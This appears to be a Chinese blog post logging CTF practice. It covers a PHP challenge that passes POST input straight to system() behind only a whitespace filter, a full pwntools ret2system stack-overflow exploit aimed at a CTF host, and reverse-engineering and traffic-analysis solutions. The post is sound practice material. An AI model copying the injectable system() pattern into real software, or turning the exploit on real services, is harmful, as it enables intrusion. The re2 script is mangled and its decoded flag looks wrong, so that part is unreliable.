2.18学习记录

Web

RCEisamazingwithspace

看题目知道这是一道rce的题
题目如下:

<?php
highlight_file(__FILE__);
$cmd = $_POST['cmd'];
// check if space is present in the command
// use of preg_match to check if space is present in the command
if (preg_match('/\s/', $cmd)) {
    echo 'Space not allowed in command';
    exit;
}

// execute the command
system($cmd);

代码审计,需要通过post传参一个cmd即可,需要绕过空格在这里插入图片描述

pwn

我把她丢了

拿到附件先看一下在这里插入图片描述没有保护的64位elf文件,放到ida看一下,找到主调函数,发现在read处存在栈溢出
在这里插入图片描述发现后门函数和地址在这里插入图片描述
因为是64位文件,需要寄存器,用kali查看寄存器地址:
在这里插入图片描述exp:

from pwn import *
io=process('./pwn')
io=remote("gz.imxbt.cn",20389)
elf=ELF('./pwn')
pop_rdi=0x401196
binsh=0x402008
ret=0x40101a
shell=elf.plt['system']
payload=b'a'*(0x70+8)+p64(pop_rdi)+p64(binsh)+p64(ret)+p64(shell)
io.recv()
io.sendline(payload)
io.interactive()

re

[WUSTCTF2020]Cr0ssfun

先查壳在这里插入图片描述无壳elf64位文件,放进ida查看主调函数在这里插入图片描述往下追踪,发现7部分相似的结构,给的数字看上去像是ASCII码,对照码表把7部分串联起来在这里插入图片描述得到:wctf2020{cpp_@nd_r3verse_@re_fun}

[SWPUCTF 2021 新生赛]re2

先查壳在这里插入图片描述64位文件,先找到主调函数看伪c在这里插入图片描述
首先进去看到了字符串str2,然后就是输出函数跟输入函数,v7存的是str的字长用于限制下面for循环的次数,下面for循环的意思是满足条件改变字符串,大概的意思就是str2是被改的字符串,循环的次数就是str2的长度也就是12次。
可以用脚本跑出来

s = “ylqq]aycqyp{”
x = “”

for char in s:
ascii_value = ord(char)

if (ascii_value <= 94 or ascii_value > 96) and (ascii_value <= 62 or ascii_value > 64):  
    new = ascii_value + 2 
else:  
    new = ascii_value - 24
x += chr(new)  
print(x)

解得{nss_c{es{r}

misc

数据包中的线索

典型的流量包分析,先分组,找到http流量,在里面进行追踪流处理,发现有一处很可疑在这里插入图片描述这一大串用在线工具看一下,感觉像图片,又转到转换图片的工具在这里插入图片描述flag就藏在图片里面

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值